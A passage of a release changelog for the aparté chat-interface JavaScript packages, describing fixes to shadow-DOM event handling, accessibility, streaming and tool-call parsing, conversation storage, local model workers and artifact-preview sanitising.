    manage={false} used to mean on. manage is the attribute that authorises the list to write — rename, pin, archive, delete, through the registered conversation manager — and it was attribute-only. Vue and both Sveltes stringify a bound boolean onto an element with no property of that name, so manage={false} wrote manage="false", which hasAttribute reads as set: a gesture the host meant to handle itself was also finished by the list. The property is the fix, presenceOn like every other boolean in core ('' is on, false and undefined are off) — the same protection loading already had. React 19 and Angular were never affected; they remove the attribute for false themselves.

    The confirm step is a dialog. A role="menu" may hold menu items and nothing else, and the delete question’s two answers are ordinary buttons — axe reads that as a critical aria-required-children violation, in a state one click away, on the element the accessibility guide offers as the pattern to copy. While it asks, the popover now carries role="dialog" and the question as its accessible name; it is a menu again the next time it opens. role="menuitem" on a destructive confirm would have been the cheap answer, and a question with two answers is not a menu. The keyboard is unchanged: the arrows, Escape and Tab behave exactly as before, and Cancel still takes the focus. @aparte/core

  • ba9baa1: Sending, retrying and editing, the menus and their keyboard, the sidebar toggle, the split panes and the selects now work when you mount a chat inside your own shadow root. Nothing to change on your side.

    The send. AparteClient resolves the chat a send belongs to by lookup — the id the composer names, then a walk up from the event, then a scan of the page — and all three read the document, which cannot see into a shadow tree. A chat mounted in one therefore had its send dropped with a warning; and on a page that also holds a chat in the light DOM, the scan answered with that one, so the person’s message AND the model’s reply appeared in a transcript they never typed into. The lookup now searches the tree the gesture came from first (composedPath()), then the document, and the walk crosses the boundary instead of stopping at the shadow host. aparte-retry and aparte-edit share that resolver, so they went the same way and are fixed with it. If you worked around this with targetResolver, it also takes the <aparte-chat> shell now — it used to require the element itself to expose appendMessage, so targetResolver: () => root.querySelector('aparte-chat'), the obvious call, was rejected.

    Four handlers listen on document — the conversation row menu’s outside-press, [data-aparte-sidebar-toggle], [data-aparte-split-pane] and the select’s close-on-outside-click. An event that leaves a shadow tree is retargeted, so event.target read as the shadow HOST, and each of the four asked “was this inside me?” of the wrong element and got no. The row menu closed on the press, so no item could be chosen; the sidebar toggle and the pane buttons did nothing; a select shut its own dropdown on the click that opened it. All four now read composedPath(), which names the node that was actually hit.

    Two lookups went the same way. A toggle or a pane button that names no element resolves the one beside it, and it did that through document.querySelector, which cannot see into a shadow tree: it found nothing, or found the sidebar you also have in the light DOM. Both now look in the control’s own tree first.

    document.activeElement retargets for the same reason, so “which item holds the focus?” answered nothing for every element in the tree. The drawer’s Tab trap and the select’s “is the caret in the filter field?” already read the focus from the tree they are in; the conversation row menu’s arrow keys, the focus a re-render of the rows puts back, and the scroll rail’s arrow keys now do too — pin was unreachable by keyboard, the keyboard landed on <body> after a rename or a delete, and the rail’s arrows were a silent no-op.

    Only the behaviour crossed badly. The stylesheet already declared its tokens on :host for this arrangement, and that half worked. @aparte/core

  • dbd64b2: A retry no longer writes the superseded reply’s tail into the new bubble, a stored conversation continued under React/Vue/Svelte/Angular comes back in the order it was written, and ⋯ → Delete on a conversation row can be confirmed again. Two things to know: loading set as a PROPERTY now follows core’s presence convention (el.loading = '' turns the wait ON, as loading="" always did in markup — it used to turn it off), and a binding that provides onLoadingChange now owns the viewport’s loading attribute outright, because the host writing it too made a wrapper draw a skeleton over a transcript the attribute said had arrived.

    What was wrong, all reproduced by the audit of 2026-09-05.

    Turns crossing. The viewport resolved the 1-argument streaming convention (addSegment(segment)) by scanning the ACTIVE PATH for the streaming message, and a retry on an earlier bubble takes the reply being written off that path — so the rest of it was appended to the message that had just replaced it. The scan reads the whole tree now (resetHead also stopped moving the head out of a branch it did not touch). The same trigger from the other side: aparte-message-aborted for the superseded turn carries ITS message id, and neither the chat host nor the composer compared it — one turn’s unwind turned Stop back into Send mid-stream, evicted the open approval panel, and put retry, edit and the branch arrows back on every bubble while a reply was still streaming. Both compare the id now.

    Conversations under a framework. The controller handed a stored list to the framework’s own message list and nothing else, so the viewport’s tree — what exportTree() saves — never held the history: the follow-up became the root of a fresh tree and the history was appended after it, so the saved conversation read [new turn, old history] and the next open restored exactly that. And a segment streamed before the framework had painted its bubble went into the PREVIOUS reply’s bubble (the host wrote to “the last bubble on the page”), which then showed the same data-segment-id twice; it waits for its own bubble now, and syncBubbles paints it.

    A conversation restored from a tree now gets the same markdown grammar as one restored from a flat list: importTree skipped the parser, so on every conversation that had ever persisted a tree, a fence came back as bare prose instead of a code card. The segments core derives that way are marked (APARTE_DERIVED_SEGMENTS, a non-enumerable symbol) so merely opening a conversation does not count as changing it.

    The conversation row. ⋯ → Delete was unreachable: replacing the menu with the confirmation removed the item holding the focus, the browser blurred it, and the list read that as “focus left the menu” and closed it — so nothing could be deleted, by mouse or keyboard. The question now takes the focus before the items it replaces are removed. Enter on a row also left the focus on <body> (the re-render replaces every row); it lands back on the row.

    Smaller. <aparte-select> opens on one click after a framework has moved it — each re-parent used to add another trigger listener, so a click toggled twice and the control looked dead, and a mutation observer leaked per connect. Two chats sharing one config no longer share one elicitation queue, where an unanswered approval in the first held the second’s question for ever. <aparte-chat> installs its loading gate when the viewport ARRIVES, not only when it was there at connect (a framework renders its children after the host). clearAll() releases the attachment URLs on every branch, not just the active path. And the two role="status" waits are inserted empty and named a frame later, so a screen reader hears a change rather than a new node. @aparte/core

  • 54bac2c: Split storage (loadMeta() + loadFull()) no longer loses messages, and the controller’s wait always ends. Two things to know: manager.ensureFull(id) now resolves a boolean (false when the store has no such record, and the row then does NOT count as loaded), and updateMessages() on a conversation whose messages are not in memory is refused with a warning instead of writing an empty transcript over the stored one.

    What was wrong, all reproduced by the audit of 2026-09-05: a rename, pin or archive of a conversation the user had not opened wrote the row back with the messages: [] the list came with — the stored messages gone (the adapter’s rename() hook was never called; it is now, and without a hook the messages are fetched first); a message sent to such a row did the same; switching conversations while a reply streamed persisted the emptied binding into the conversation being fetched; addMessage() and updateMessages() read a snapshot, awaited the title provider, and wrote the snapshot back, destroying a reply that had landed meanwhile (with @aparte/plugin-titler the await is a model load, exactly while the first reply streams); “New chat” during a fetch, or a switch to an already-loaded conversation, left the viewport loading and the composer disabled for good; deleting the conversation being fetched did the same; a failing or empty loadFull() left an emptied binding active, which the next send wrote back; loadFull() answering with another conversation’s id showed its messages under the wrong title; a second init() remembered what the first had fetched and opened it empty; a conversation created while the list was on its way vanished from it; a list repeating an id made every write hit twins; a save() that threw on the first send left the session with no active conversation; a title auto-derived after retention trimmed the history came from the wrong message; and a conversation merely opened and left was re-saved and floated to the top of the list, because the segments the viewport derives from a reply’s markdown counted as a change — they are marked now (APARTE_DERIVED_SEGMENTS, a non-enumerable symbol) and ignored by the comparison. @aparte/core

  • 5581be9: The bubble-shell contract lists the five hooks it was missing, and a custom shell now gets role="article" and its accessible name from the bubble itself.

    Nothing to change. A shell you already wrote gains the role and the name with no edit. If you wrote one from the old list you are probably missing something, and the new list says what — including the three spans the waiting region needs to draw anything.

    AparteBubbleShellRenderer enumerated eight class hooks; the bubble looks for more than that. A shell copied from it dropped .aparte-message-content (the painted content box, which the bubble hides when the turn has nothing to show), .aparte-waiting with its .aparte-sr-only label, .aparte-footer, and .aparte-branch-status.

    Two of those fail with nothing on screen to say so, and the contract now names them: without .aparte-waiting there is no “thinking” state at all between the send and the first token, and without .aparte-branch-status a screen-reader user gets no word that the branch moved — the arrows deliberately do not take focus, so nothing else announces it. The list is also in render order now, and a test builds a shell out of it, so a hook that leaves the documentation goes red.

    .aparte-waiting needed a second clause, because listing it was not enough: the bubble only SHOWS and HIDES that region — the markup that paints is the shell’s. A .aparte-dots span holding three .aparte-dot spans is what the stylesheet animates, so a shell built from the old bullet had a thinking state only a screen reader could perceive, and the region was literally not visible. The contract says so, this repo’s own documented shell renders the spans, and the test counts them.

    ARIA is the one thing the list does NOT ask of you. The bubble writes role="article" and the accessible name onto your root after your shell renders — so every shell that exists gains an article and a name with no author action — unless the root already declares a role, which is how you override it. A markup contract that also demanded a role would lose it the first time somebody forgot one, silently, which is exactly what had happened.

    One containment is load-bearing and is now stated: .aparte-message-content HOLDS .aparte-segments, .aparte-content and .aparte-waiting. The background, radius and padding of a user message are declared on that box, so a shell that renders the three as its siblings keeps every behaviour and loses the bubble. The contract also names the two classes that carry the default layout and nothing else — .aparte-body and .aparte-header — which the bubble never queries, so a shell laid out differently can drop both. @aparte/core

  • a9784fa: The centred composer glides to the bottom when a conversation opens, the way it already glided back up when a new one started. Nothing to change on your side; if you styled aparte-chat[center-empty][data-empty] or .aparte-chat-container--auto-center[data-aparte-empty] for their justify-content, that declaration is gone — the centring is a spacer now.

    Measured on the chat site, the top of the composer sampled every 40 ms: a new chat glided 816 → 494 px over about 300 ms, opening a conversation snapped 494 → 816 in one frame. center-empty animated the viewport’s flex-grow, but the viewport also carries height: 100% for the scroll chain, and the moment the empty state dropped that height applied at once, leaving flex-grow nothing to animate. The other direction removed the height, so flex-grow did the sliding.

    Under both centring modes (center-empty on <aparte-chat>, centerWhenEmpty on the wrappers) the viewport now keeps one size rule, flex: 1 1 0% and no height, and the centring is a ::after spacer after the composer whose flex-grow is 1 while the chat is empty. Only the spacer animates, in both directions. The empty group sits between two equal halves, so the 32 px the empty viewport used to add no longer shifts it, and the first-paint reservation (:not(:defined)) grows the same spacer. Under overlay-composer the spacer does not animate: the first message takes the viewport out of the flow, and a spacer still shrinking would drop the composer from the top of the column — the overlay’s composer snaps to the bottom, as it always did. @aparte/core

  • 3f01fb4: The composer toolbar wraps, so a second control is no longer pushed off the composer on a phone.

    Nothing to change. A row that already fits looks the same; one that does not now puts the overflowing control on a second line instead of past the edge.

    aparte-select sets a min-width on its host — a hard floor, so a select in a flex row cannot shrink — and the arrangement we document puts two of them in this row: the approval switch (@aparte/plugin-approval’s own example says “beside the model selector, in the composer’s toolbar”) and the model selector. That is 400px of controls in a row the toolbar did not wrap.

    Measured in Chromium at 390px, the width our responsive suite calls a phone: the model selector’s right edge sat at 449 against a 390px viewport, and the page did not scroll to it — an ancestor clipped it. The model picker was unreachable, not merely ugly, and RTL mirrored it exactly at x=-59. The row is the fix rather than the example markup: a documented arrangement that needs an inline style to work is a missing knob.

    An end-aligned control keeps its margin-inline-start: auto and lands at the end of the line it is on. @aparte/core

  • 5581be9: The custom-segment example now shows what actually happens: one renderer for type: 'custom' that switches on subType.

    Nothing to change — this is the documentation catching up with the code.

    The old @example on AparteCustomSegment sat under the sentence “with no renderer registered for subType, core draws fallback”, which reads as if the registry looked subType up. It does not: registerSegmentRenderer keys on type and only on type. An author who registered a renderer for 'weather-widget' saw nothing render, with no error to explain it.

    So the example is now the whole shape — one renderer for custom, a switch on subType, and fallback as the default branch — and it says the other half out loud: an independent view takes its own type (register a chart renderer for a chart), and custom is for a family of small views an app would rather keep behind one key. The example is executed by a test, so the two cannot drift. @aparte/core

  • dbd64b2: The model picker now works with new AparteClient({ keyResolver }) alone, and a key provider may return { apiKey, endpoint } so the model list follows your endpoint. Nothing to change on your side; aparteGlobalConfig.setKeyProvider() behaves as before, and AparteConfig.registerKeyProvider(provider) is new if you want to add a key source of your own.

    Two channels carry a provider’s credentials, and refreshProviderModels — the model selector’s only data path — could see neither properly.

    keyResolver is what the providers guide teaches (“you hand it to each request via keyResolver on AparteClient”), with setKeyProvider called an alternative, and nothing told you to call both. But the resolver reached the chat only: refreshProviderModels read config.getKey alone, so fetchModels was called with undefined and returns [] for every cloud provider. An empty picker, a working chat, and no warning — it read as “the vendor returned nothing”. The client now registers its resolver ON the config, so the capability is not hostage to the client (a page that constructs none still lists models), and one resolution order answers both questions: a registered resolver first, then setKeyProvider — the precedence the client already documented.

    AparteKeyProvider was typed as returning a string, so the { apiKey, endpoint } record the transport reads and fetchModels accepts could not travel on it. A consumer who points a preset at their own host — a corporate proxy, a self-hosted vLLM, an LM Studio box on another port — configures it as endpoint, and the chat honoured it while the model refresh sent GET {vendor default}/models carrying the key that host had been given. It travels now, on both channels. @aparte/core

  • d873d93: <aparte-scroll-rail> no longer rewrites its aria-label and the current tick’s aria-current on a reconcile when their values did not change. Nothing to change on your side.

    A reconcile runs on every mutation of the transcript, and an attribute written to the value it already has is still a DOM mutation: a mutation observer on the rail sees it, and so does an assistive technology watching the tree. CI’s WebKit measured it — a late host mutation after the last reply settled ran a reconcile that rewrote both attributes, unchanged, inside the window where the rail is meant to hold still. Both writes are now conditional, the way the ticks’ labels already were. @aparte/core

  • e9c910c: A focused scroll-rail tick draws its keyboard ring on all four sides, inset by the ring’s own width. Nothing to change on your side; if you had re-declared outline-offset on .aparte-scroll-rail__tick:focus-visible::before to work around the clipping, drop it.

    The ring is drawn on the ::before that computes the tick’s 24x24 pressable zone, and that zone is not merely near the rail’s clip box — it is the clip box: the rail is exactly --aparte-scroll-rail-width wide with no inline padding, the zone is anchored to both of its inline edges, and the rail’s block padding puts the clip line on the first and last zone’s edge. outline paints outside the border box, so at the shared 0 offset both verticals fell into what overflow-x: hidden cuts, and the end ticks lost a third side. Measured on a page with the ring colour forced: 44 painted pixels on a middle tick, two detached 16px hairlines 24px apart with nothing marking the tick itself, and 26 on the last one. Offsetting inward by --aparte-focus-outline-width — the same idiom the conversation row and the image thumbnail already use, each for a clip of its own — paints 64, both verticals included. @aparte/core

  • 5581be9: The thinking block reads --aparte-thinking-bg and --aparte-thinking-content-bg; both default to transparent, so nothing changes on screen.

    Nothing to change. If you set either token, it now does what its name says.

    Both were declared and read by nothing: the reasoning block hard-coded background: transparent on the rail and on the panel, so a theme that set either one was setting a decoration. Wiring them without moving a pixel is the whole point — the default is exactly the value the two rules used to hard-code, which is also why the two declarations move from the derived layer to the literal palette (transparent is a literal, not something derived from a master).

    aparte-chat {
    --aparte-thinking-bg: var(--aparte-surface-2);
    --aparte-thinking-content-bg: var(--aparte-surface-1);
    }

    That turns the understated left rail into a filled card, which is a look, not a default.

    The panel’s token is read on ONE class, and that matters if you style the panel yourself. It first shipped as a two-class rule (.aparte-segment-thinking .aparte-thinking-content) so it would beat prose.css, which is imported last — and it beat the one-class .aparte-thinking-content { background: … } a consumer may already have written just as well, with nothing on screen to explain it. prose.css reads the token itself now: same pixels, one specificity, your own rule wins again. @aparte/core

  • 1200563: In Safari and every other WebKit browser, a framework-rendered transcript stays anchored at the bottom when a streamed reply finishes; it used to end up 80px short with the follow switched off. Nothing to change on your side, unless you had set overflow-anchor on the transcript yourself.

    The viewport pins the reader to the bottom itself and reads a scrollTop decrease it did not write as the reader walking away. Whether a decrease was the reader’s used to be decided by its size alone — no larger than the height change seen at that scroll event — and WebKit’s settle refutes that: between two layouts of a finishing reply it moves scrollTop by more than the regrown height explains (82px against 30, once 27px against nothing), one frame after the viewport’s own pin. Three signals decide now. The reader’s hand: a scroll gesture leaves a trace (wheel, touch, a press in the scrollbar gutter, a scroll key), and a press on the text that drags a selection past the edge holds the pointer while the container scrolls. The churn, as before: a decrease no larger than the height change is the layout’s. And the settle: a decrease of at most 100px within 100ms of a transcript mutation the viewport observed is the engine finishing that layout, and the follow stays armed and re-anchors. A host’s own scrollTo, or a tool’s scroll-into-view before a click, comes with no mutation or moves by far more, and still disarms the way a reader does. The browser’s own scroll anchoring is also off on both scroll surfaces: a chat appends below the reader, so it protected nothing there and only fought the pin. @aparte/core

  • e9c910c: Transcript text aligns to the reading direction instead of the left edge, so an RTL page gets right-aligned messages. Nothing to change on your side unless you had overridden aparte-chat-viewport { text-align } to get this.

    aparte-chat-viewport declared text-align: left, and text-align inherits: that one declaration reached every message, segment and paragraph below it. It could not lie while core wrote dir="ltr" onto its own DOM; now that the direction follows the host, an Arabic transcript came out mirrored with every line still hugging the left edge — lists indented on the right, the blockquote rail on the right, the prose left-aligned between them. It is text-align: start now. The suite that swept the sheets for physical edges reads text-align: left|right as physical too, across the whole corpus rather than the four sheets it had named. @aparte/core

  • 595ec0b: The four wrappers show a conversation on its way: a loading prop (an input in Angular) draws two skeleton turns in the transcript, keeps the empty state off and disables the composer until the messages land — and the conversation controller sets it by itself while it fetches through your adapter’s loadFull(). Nothing to change unless you want a wait of your own: pass loading.

    Core’s host binding gained onLoadingChange?(on): the controller’s wait, forwarded beside the viewport’s loading attribute, so a wrapper that renders its own DOM can draw it. Under framework-managed the viewport itself draws no skeleton any more (a <div> prepended into a host React reconciles is one React did not render); it still sets the attribute and aria-busy. And the viewport’s status line for a screen reader is now a sibling of the skeleton, not a child of it — inside an aria-hidden box it was hidden too.

    Svelte sets the viewport’s loading attribute imperatively too: under Svelte 5 a template attribute on an element that has a property of that name is set as the property, and '' through the setter read as false — the attribute never appeared, which the Svelte 5 example caught (Svelte 4 set the attribute). @aparte/core

  • 6e57533: A forced toolChoice is now sent on the first turn only; the turns after it go out as 'auto', so the run ends with an answer instead of the turn limit. Nothing to change on your side.

    The request is rebuilt from baseRequest every turn, and only the synthetic { name, input } shape stripped itself. A plain { name } — the shape a consumer sets to force a tool — therefore travelled again after the tool had already answered: the model was made to call it once per turn until maxTurns, so a forced tool ran ten times and the run reported turn-limit-exceeded rather than replying.

    Forcing a tool is a turn-1 instruction and the loop is the only thing that can lift it, so the loop lifts it: any object toolChoice is dropped from the base request after the first transport call. @aparte/engine

  • 6e57533: A Stop stays a Stop when the transport’s iterator throws on the way out, however it throws. Nothing to change on your side.

    Settling the iterator was guarded with .catch(), which only ever sees a rejected promise. A hand-written iterator — the likely shape when a host drives runStreamAgent with a transport of its own — throws synchronously, before there is a promise to reject, and one whose return() gives a plain object has no .catch at all. Either way the deliberate stop came back to the caller as a thrown run error, and core paints an error card over the reply the user had just stopped.

    Both settle sites (the abort bail and the per-turn finally) now use try/catch, which covers all three shapes. @aparte/engine

  • 6e57533: onHistoryAppend’s documentation now says which fields of the assistant turn carrying a tool call are filled in after you are notified, and what a host that writes bytes at receipt should do about it. Documentation only.

    The option exists for a host that owns its own transcript — a prefix cache, an append-only log — and the docblock said to hold the reference rather than a snapshot, justifying it with the turn’s later toolCalls. Since the loop re-reads that turn’s text at the turn’s end (a provider that emits a tool call before the rest of its sentence), an append-only log, which by definition serialises at receipt and cannot hold a reference, was told to do the one thing it cannot.

    The paragraph now names both late fields and says to treat that turn as provisional until the last tool message of the turn. @aparte/engine

  • 7802512: Two tool calls that arrive with the same id in one turn get one row and one history slot each; text streamed after a tool call reaches the history; and a Stop stays a Stop when the transport’s iterator throws on the way out. Nothing to change on your side.

    A call id is an identity downstream — the transcript keys a segment on tool-${id} and updateSegment takes the first match, and the history files a tool message under toolCallId. A provider that repeats one (a vendor omitting id produced '' for every call) therefore wrote the second call’s result onto the first call’s row, and left a pair no OpenAI-shaped endpoint can match on the next turn. A repeat is renamed rather than refused — the model asked for both — and the rename happens once, before the first emit, so the row, the handler, the approval and the history slot all name the same call.

    The assistant turn that carries the calls snapshotted its own text when the first call was declared, and a turn can go on streaming afterwards. A provider that emits [tool, text] in that order (@aparte/provider-scenario does; openai-compat flushes its calls at the end of the stream and so cannot) showed the user a sentence the model never saw again. The envelope is re-read at the turn’s end, the way its toolCalls array already was.

    The abort path settled the transport’s iterator without the .catch(() => {}) the finally uses, so a host driving the loop with an iterator of its own turned a deliberate Stop into a thrown run error — and core paints an error card over the reply that was just stopped. @aparte/engine

  • 7802512: The AI SDK stream is told to stop on every exit, not only when the consumer cancels. Nothing to change on your side.

    cancel() calls iterator.return() precisely so the vendor call stops instead of draining to its natural end after the consumer has walked away. The two in-band terminals, finish and error, returned straight out of the loop and skipped it — so after an error part the call was left running exactly where the bridge was written to end it. @aparte/provider-ai-sdk

  • b5b103d: A message still carrying the old 'tool_call' or 'tool_result' role is skipped with one console warning that names the new shape; the warning goes away in 0.18. Only code that builds an AparteChatMessage[] by hand — a history: function, a requestInterceptor, a mirror of onHistoryAppend — can be affected, and the warning tells it exactly what to write.

    AparteChatMessage.role no longer allows either value, so this is code compiled against an older aparté reaching a newer provider — the one case a type cannot catch. The two mappers used to fail differently and both badly: the OpenAI-compatible adapter put the unknown role on the wire, where it is a 400 for the whole request, and the AI SDK bridge let it fall through to a user turn, so the model read a tool result as something the person had typed. Each mapper now warns once per role and skips the message. A warning is not an alias: it does not make the old shape work, it names the new one. @aparte/provider-ai-sdk, @aparte/provider-openai-compat

  • 6e57533: A tool call a server addresses by index in one chunk and by id in the next is one call again, and a minted id can no longer collide with the server’s own. Nothing to change on your side.

    The parser picked ONE key per delta — index when it was there, id otherwise — so a vendor that used both, one at a time, produced two calls: the first with the name and no arguments, the second with the arguments and an empty name. The turn ran the tool on {} and then held a call it could not answer, so the reply came back blank. Both are addresses, not identities: a delta’s keys are now aliases that resolve to the same accumulated call, and whichever key is already known names it. When a delta carries only addresses the parser has not seen yet, its function name decides — a name appears only on a call’s first delta, so a nameless delta continues the call before it and a named one opens its own. That covers the vendor whose chunks never carry both addresses at once, in either order.

    The id minted for a call a vendor sends without one reads aparte-call-1 rather than call_1, which is what an OpenAI-shaped server calls its own first call: a turn mixing an id-less call with a real call_1 used to mint a duplicate of it. @aparte/provider-openai-compat

  • 7802512: Parallel tool calls survive a server that omits tool_calls[].index, a call with no id gets one, and a forced toolChoice: { name } reaches the endpoint instead of being downgraded to auto. Nothing to change on your side.

    index was the accumulation map’s only key, and it is a streaming convenience rather than part of the function-call payload — plenty of compat servers leave it out. Every call of such a turn landed on slot 0: the second id and name overwrote the first, the two argument strings concatenated into non-JSON, and the turn ran ONE tool on {} while the model was told it had two answers. The only trace was a console warning naming “malformed arguments JSON”, which reads as the model’s fault. The key is now index, else id, else the function name — which in this format appears only on a call’s first delta, so a nameless chunk still continues the call before it.

    An id is minted (call_1, call_2, …) when the vendor sends none; a real id arriving in a later chunk still wins. id: '' used to travel, and downstream it is an identity: the transcript keys a row on tool-${id} and the history files a result under toolCallId, so two id-less calls in one turn shared one row — the second call’s result was written onto the first call’s line — and one history slot an OpenAI-shaped endpoint rejects on the next turn.

    tool_choice was written as 'auto' unconditionally whenever tools were present. { name } is a shape the agent loop passes straight through (it intercepts only { name, input }, the synthetic call it runs itself), and the ai-sdk bridge has always honoured it, so the same request forced a tool on one provider and not on this one. @aparte/provider-openai-compat

  • e573758: createScenarioProvider now warns about a tool with no after route even when you pass a match of your own. Nothing to change in your code — when a match is present the warning ends with this line is the one to ignore, because a match that routes the tool result by value (the documented branching shape) does not loop.

    The warning exists because a when scenario that calls a tool, with nothing answering the result, loops: the default rule sends the tool result back through the same when, round after identical round, until the client’s maxTurns stops it.

    Passing match used to switch that warning off, on the premise that a custom rule replaces the default one. It does not replace it, it precedes it — the pick reads match(request, scenarios) ?? defaultMatch(request, scenarios) — so a match that returns undefined for a tool result, which is exactly what the documented and in-repo examples write, lands right back on the rule the warning protects. The exemption was silencing the shape most likely to need it. @aparte/provider-scenario

  • 7802512: turns documents that its cursor belongs to the provider, not to a chat. No behaviour change.

    Two chats registered against one provider take turns from the same script and interleave it — chat A gets turns[0], chat B turns[1] — because a request carries no conversation identity to key a cursor on. The JSDoc now says so and names the two ways out: a provider per chat (createScenarioProvider is cheap and takes an id), or scenarios, which answers from the request itself and has no cursor at all. @aparte/provider-scenario

  • 029c44b: The showcase scenario answers “ship it” with a four-step tool chain — search, read, write, run — so a multi-tool turn can be seen. Register search_docs, read_file, write_file and run_command if you want the chain to resolve; unregistered tool names abort the call, exactly as get_weather and ask_user already did.

    Every other scenario calls ONE tool and answers its result, so the turn a real agent produces — several calls in a row, each feeding the next — was the one shape nothing in this repository could show. It is what a transcript has to survive: five rows stacked in one bubble, an approval decision landing in the middle of them, a refusal cutting the rest of the turn.

    Each tool in the chain carries its own after: route (releaseRead, releaseWrite, releaseRun, releaseDone), because a tool whose result is not routed falls back through the when that started the chain and the conversation eats its own tail — the warning createScenarioProvider prints at creation. @aparte/provider-scenario

  • 7d009cf: A binary attachment now warns instead of vanishing; AparteFilePart is removed — aparté inlines images and text files only. If you referenced AparteFilePart (or engine’s StreamFilePart) in your own types, drop it: AparteContentPart is text or image.

    Nothing ever produced a file part. The client inlines images and recognized text files and returned null for everything else, and both wire mappers answered the type with an empty text part — a branch no message could reach. What the type did do was promise a consumer that attaching a PDF sent it, while the chip stayed on screen and the model answered as if nothing had come with the message. That promise is now a warning at the one place the file is really dropped, once per file, naming the file and its type; the chip is untouched, so your own upload or RAG layer still sees it on the aparte-send event.

    The two-arm union also empties the third mapper’s fallback: the vision runner counted “content parts this runner cannot carry” and warned about them, over a branch no message could reach. The count and its warning are gone, the same way they went from the two wire mappers. @aparte/provider-transformers

  • c0f362b: A local runner now says when it dropped a tool call the assistant made, not only the tool result that answered it, and the vision runner counts a content part it cannot carry instead of failing at generate time. Nothing to change on your side; you get one warning where you used to get none.

    Neither built-in runner can carry a tool turn — the wire syntax for one is model-specific — and both have always said so. Now that a call rides on an assistant message rather than a role of its own, the call passes the runner’s role test: a turn where the model said nothing before calling was then dropped by the emptiness check below it, in silence, which is the exact defect the warning exists to prevent. Both runners count such a turn, and the shared message names both halves — the call the assistant made, and the result that answered it.

    The message says one thing more precisely than it did. What is dropped is the CALL and its result; what the assistant said before calling is still in the prompt, because that sentence rides on the same assistant message and passes the role test. “Dropped tool turn(s) from the prompt” read as if the whole turn left, which had stopped being true.

    On the parts axis the vision runner had no guard at all. Its content loop was text or else an image, so a file part — removed from AparteContentPart, and still reachable from an app built against an older aparté — was pushed into the image list as undefined and reached load_image(undefined), failing the turn at generate time. It is counted and named now, the way the wire mappers already guard the removed tool ROLES: same class, same treatment. @aparte/provider-transformers

  • 7802512: Preparing a second model no longer disposes the pipeline a reply is streaming from, two prepareModel calls in the same tick no longer leave two models resident, and the cache budget will not evict weights a generation is reading. Nothing to change on your side — a prepare issued during a stream now waits for it instead of interrupting it.

    prepare, generate and command all go through ensureRunner, which disposes the previous runner when the model or runner key changes, and the worker ran them concurrently. Picking another model while a reply streamed — the documented TransformersProvider.prepareModel, which was on no chain at all where runnerCommand is explicitly queued — therefore called dispose() on the ONNX session the running pipe(...) was executing. And two prepares issued before the first resolved both observed no resident runner across the three awaits, so the second orphaned the first: two multi-GB models in one tab, the older one unreachable for cleanup, which is the exact failure the “one pipeline per tab” rule exists to prevent. All three now share one promise chain in the worker, the way the main thread already chains its generates; cancel stays immediate, since its whole job is to reach the generate running now.

    The cache budget fires on pipeline-ready, i.e. when ANOTHER model finishes loading, and kept only that model — so it deleted the files of the model that was answering, and deleteCachedModel terminates the worker when that model is the loaded one. A model with a generate queued or running counts as in use. @aparte/provider-transformers

  • 6e57533: Stop now reaches a reply that is still queued behind a model load, and a token the worker emits after a Stop no longer lands in the stream. Nothing to change on your side.

    The worker created a generate’s AbortController when the queue reached that generate. A cancel arriving earlier — while prepareModel was still downloading another model, which can take minutes — found nothing to abort, so once the load finished the stopped reply started anyway and streamed to the end. The controller is now registered when the message arrives, and a generate cancelled before it starts never loads a model; it answers gen-done, which is what releases the queue slot.

    The main thread kept the stream open after posting the cancel, waiting for the worker to answer, so a token already in flight was enqueued into a reply the user had ended. The stream is closed at the Stop instead — with done, since a stop is not a failure — and the worker’s own gen-done still releases the slot. On the non-streaming path (chat({ stream: false })) that means a Stop after the request has reached the worker resolves with the text produced so far, where a Stop before it still rejects with Generation cancelled before it started. @aparte/provider-transformers

  • 4a73996: A CSS artifact can no longer close its own <style> and run a script, the binary preview is sanitised by the config of the chat it is mounted in, and a card’s tab ids are unique per card. Nothing to change in your code.

    The css preview only styles. <style> is raw text to the HTML parser exactly like <script> — it ends on </style followed by whitespace, /, > or end-of-input, whatever the CSS tokenizer thinks — and the css kind interpolated the model’s body into it unescaped while the sibling js kind ran its body through escapeClosingScriptTag. So a stylesheet artifact could break out of its wrapper and open a <script>, on the one previewable kind whose whole promise is that it only styles. The containment always held (opaque origin, no allow-same-origin, and PREVIEW_CSP applied both as the csp attribute and as a <meta http-equiv>), so this was the gap between what “preview this stylesheet” promises and what it does. A closing-</style> escaper now mirrors the script one.

    The binary preview reads the element’s config. previewMarkup resolved the ambient config, which from the promise callback that swaps the preview in is the global one long after the render — so a chat with its own AparteConfig that registered DOMPurify through setHtmlSanitizer had that policy silently skipped at the one sink that puts app-supplied HTML on the page, and its locale skipped at the sentence beside it. Both callers already held the right config; it is passed in now. It failed safe before (the global default is core’s own allowlist), which is why nothing showed it.

    A card’s tab ids come from a counter, not from the model. They were built from segment.id, and for a tool-call segment that is tool-${toolCallId} — the id the model chose. Two calls answering to the same id put two cards on the page wearing the same id and the same aria-controls, so getElementById returned whichever parsed first: exactly the collision the scoping was introduced to prevent, and the DOM-clobbering shape core’s sanitizer already refuses on model markup. @aparte/plugin-artifacts

  • 913969b: The empty-preview line is readable on the artifact card’s paper in the dark theme, the error panel’s dark wash now also reaches a system-dark reader who sets no attribute, and the error heading takes the error ink again. Nothing to change on your side. New knob if you re-skin the paper: --aparte-art-paper-text-muted, declared beside --aparte-art-paper-bg / -text and mixed from them.

    The preview pane forces the light paper on purpose — an artifact preview is a DOCUMENT shown inside the chat, the way a PDF viewer shows a white page in a dark editor — and the empty-state line inside it reached back into the theme for --aparte-text-muted. In the dark theme that is #a89bb6, on #fff: 2.62:1, under 4.5 and under 3. It takes the paper’s own muted ink now, so a consumer who re-declares the paper moves it too. (.aparte-art-file__error-hint was checked and is not the same case: it sits on --aparte-error-bg, where the same colour measures 6.14:1.)

    The sheet’s one dark rule was [data-aparte-theme="dark"] .aparte-segment-artifact-file with no prefers-color-scheme sibling, so a system-dark reader with no attribute kept the LIGHT wash (rgba(0,0,0,0.04)) on the already-dark --aparte-error-bg. It is duplicated now, the way core’s theme.css duplicates its dark block for the same reason. And .aparte-art-file__error-title was still reading --aparte-error-title, a token core removed with the error renderer’s private classes: invalid at computed-value time, so the heading quietly took the panel’s body ink. It reads --aparte-error-text.

